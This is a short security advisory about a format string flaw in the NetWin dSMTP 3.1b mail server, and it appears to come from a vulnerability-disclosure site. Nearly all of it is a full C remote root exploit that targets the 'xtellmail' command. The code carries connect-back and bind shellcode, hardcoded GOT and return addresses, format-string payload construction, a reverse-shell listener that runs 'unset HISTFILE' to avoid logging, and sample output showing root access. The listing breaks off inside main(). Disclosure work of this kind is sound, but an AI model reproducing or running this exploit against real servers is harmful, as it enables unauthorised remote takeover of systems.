Summary
As we reported in our previous article: NetWin DMail Authentication Bypass (dlist.exe) and Format String (dsmtp.exe), a vulnerability in dSMTP allows attackers to trigger a format string vulnerability in the product, the following exploit code can be used to verify the existence of this vulnerability on your system.

Credit:
The information has been provided by cybertronic.

Details
Vulnerable Systems:
* DMail version 3.1b (dm31b_win32.exe)

Exploit:
/*
* dSMTP - SMTP Mail Server 3.1b Linux Remote Root Format String Exploit
*
* cybertronic[at]gmx[dot]net
*
* 05/05/2005
*
* This exploits the "xtellmail" command!
*
* bindc0de breaks somehow, cb works fine!
* remote buffer space is about 256 bytes
* bad chars: 0x00, 0x20, 0x0a and prolly more
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* NOTE: before you start, change the password in function exploit () *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
* [ cybertronic @ dsmtp ] # ./dmail_expl -h 192.168.2.50 -p 25 -l 192.168.2.40 -t 0
*
* __ __ _
* _______ __/ /_ ___ _____/ /__________ ____ (_)____
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
* /____/
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ connecting to 192.168.2.50:25...done!
*
* --[ 220 linux.local DSMTP ESMTP Mail Server
*
* --[ select shellcode
* |
* |- [0] bind
* `- [1] cb
* >> 1
* --[ using cb shellcode
* --[ GOT: 0x08116844
* --[ RET: 0xbffe51f8
* --[ sending packet [ 252 bytes ]...done!
* --[ starting reverse handler [port: 45295]...done!
* --[ incomming connection from: 192.168.2.50
* --[ b0x pwned - h4ve phun
* Linux linux 2.4.21-99-athlon #1 Wed Sep 24 13:34:32 UTC 2003 i686 athlon i386 GNU/Linux
* uid=0(root) gid=0(root) groups=0(root)
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define NOP 0x90

#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"

int connect_to_remote_host ( char* tip, unsigned short tport );
int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip );
int shell ( int s, char* tip );
int usage ( char* name );

void start_reverse_handler ( unsigned short cbport );
void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );

/***********************
* Linux x86 Shellcode *
***********************/

//131 bytes connect back shellcode, port: 45295
char reverseshell[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

//129 bytes bind shellcode, port 3879
char bindshell[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0"
"\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc"
"\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66"
"\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45"
"\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89"
"\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0"
"\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45"
"\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff"
"\xff\xff/bin/sh";

typedef struct _args {
char* tip;
char* lip;
int tport;
int target;
} args;

struct targets {
int num;
unsigned long smashaddr;
unsigned long writeaddr;
char name[64];
}

target[]= {
{ 0, 0x08116844, 0xbffe51f8, "SuSE Linux 9.0 (i586) - 2.4.21-99-athlon" }, //08116844 R_386_JUMP_SLOT strchr
{ 1, 0x08116844, 0xdeadc0de, "description" }
};

int
connect_to_remote_host ( char* tip, unsigned short tport )
{
int s;
char in[1024];
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
printf ( "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( tport );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ( "--[ connecting to %s:%u...", tip, tport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
bzero ( &in, sizeof ( in ) );
if ( read ( s, in, sizeof ( in ) ) <= 0 )
{
printf ( "read failed!\n" );
return ( 1 );
}
printf ( "\n--[ %s\n", in );
return ( s );
}

int
exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip )
{
char buffer[512];
char a, b, c, d;
unsigned int low, high, cyber, tronic;
unsigned long ulcbip;

/***** change the password! *****/
char* pass = "522295153136689045";
/********************************/

printf ( "--[ GOT: 0x%08x\n", smashaddr );
printf ( "--[ RET: 0x%08x\n", writeaddr );

a = ( smashaddr & 0xff000000 ) >> 24;
b = ( smashaddr & 0x00ff0000 ) >> 16;
c = ( smashaddr & 0x0000ff00 ) >> 8;
d = ( smashaddr & 0x000000ff );

high = ( writeaddr & 0xffff0000 ) >> 16;
low = ( writeaddr & 0x0000ffff );

bzero ( &buffer, sizeof ( buffer ) );
if ( high < low )
{
printf ( "1\n" );
sprintf ( buffer,
"xtellmail %s X"
"%c%c%c%c"
"%c%c%c%c"
"%%.%uu%%1295$hn"
"%%.%uu%%1296$hn",

pass,
d + 2, c, b, a,
d, c, b, a,
high - 40,
low - high );
}
else
{
sprintf ( buffer,
"xtellmail %s X"
"%c%c%c%c"
"%c%c%c%c"
"%%.%uu%%1296$hn"
"%%.%uu%%1295$hn",

pass,
d + 2, c, b, a,
d, c, b, a,
low - 40,
high - low );
}
memset ( buffer + strlen ( buffer ), NOP, 180 );
if ( cbip == NULL )
memcpy ( buffer + 110, bindshell, sizeof ( bindshell ) -1 );
else
{
ulcbip = inet_addr ( cbip );
memcpy ( &reverseshell[33], &ulcbip, 4 );
memcpy ( buffer + 110, reverseshell, sizeof ( reverseshell ) -1 );
}
strncat ( buffer, "\r\n", 2 );

printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
{
printf ( "failed!\n" );
return ( 1 );
}
printf ( "done!\n" );

return ( 0 );
}

int
shell ( int s, char* tip )
{
int n;
char* cmd = "unset HISTFILE;uname -a;id;\n";
char buffer[2048];
fd_set fd_read;

printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );

if ( write ( s, cmd, strlen ( cmd ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}

FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );

while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );

if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}

int
usage ( char* name )
{
int i;

printf ( "\n" );
printf ( "Note: all switches have to be specified!\n" );
printf ( "You can choose between bind and cb shellcode later!\n" );
printf ( "\n" );
printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -t <target>\n", name );
printf ( "\n" );
printf ( "Targets\n\n" );
for ( i = 0; i < 2; i++ )
printf ( "\t[%d] [0x%08x] [0x%08x] [%s]\n", target[i].num, target[i].smashaddr, target[i].writeaddr, target[i].name );
printf ( "\n" );
exit ( 1 );
}

void
connect_to_bindshell ( char* tip, unsigned short bport )
{
int s;
int sec = 5; // change this for fast targets
struct sockaddr_in remote_addr;
struct hostent *host_addr;

if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}

remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( bport );

if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
wait ( sec );
printf ( "--[ connecting to %s:%u...", tip, bport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( RED "failed!\n" NORMAL);
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
shell ( s, tip );
}

void
header ()
{
printf ( " __ __ _ \n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
printf ( " /____/ \n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}

void
parse_arguments ( int argc, char* argv[], args* argp )
{
int i = 0;

while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 )
{
switch ( i )
{
case 'h':
argp->tip = optarg;
break;
case 'p':
argp->tport = atoi ( optarg );
break;
case 'l':
argp->lip = optarg;
break;
case 't':
argp->target = strtoul ( optarg, NULL, 16 );
break;
case ':':
case '?':
default:
usage ( argv[0] );
}
}

if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 || argp->lip == NULL || argp->target < 0 || argp->target > 1 )
usage ( argv[0] );
}

void
start_reverse_handler ( unsigned short cbport )
{
int s1, s2;
struct sockaddr_in cliaddr, servaddr;
socklen_t clilen = sizeof ( cliaddr );

bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( cbport );

printf ( "--[ starting reverse handler [port: %u]...", cbport );
if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( s1, 1 ) == -1 )
{
printf ( "listen failed!\n" );
exit ( 1 );
}
printf ( "done!\n" );
if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
printf ( "accept failed!\n" );
exit ( 1 );
}
close ( s1 );
printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) );
close ( s2 );
}

void
wait ( int sec )
{
sleep ( sec );
}

int
main ( int argc, char* argv[] )
{
int s, option;
args myargs;

system ( "clear" );
header ();
parse_arguments ( argc, argv, &myargs );
s = connect_to_remote_host ( myargs.tip, myargs.tport );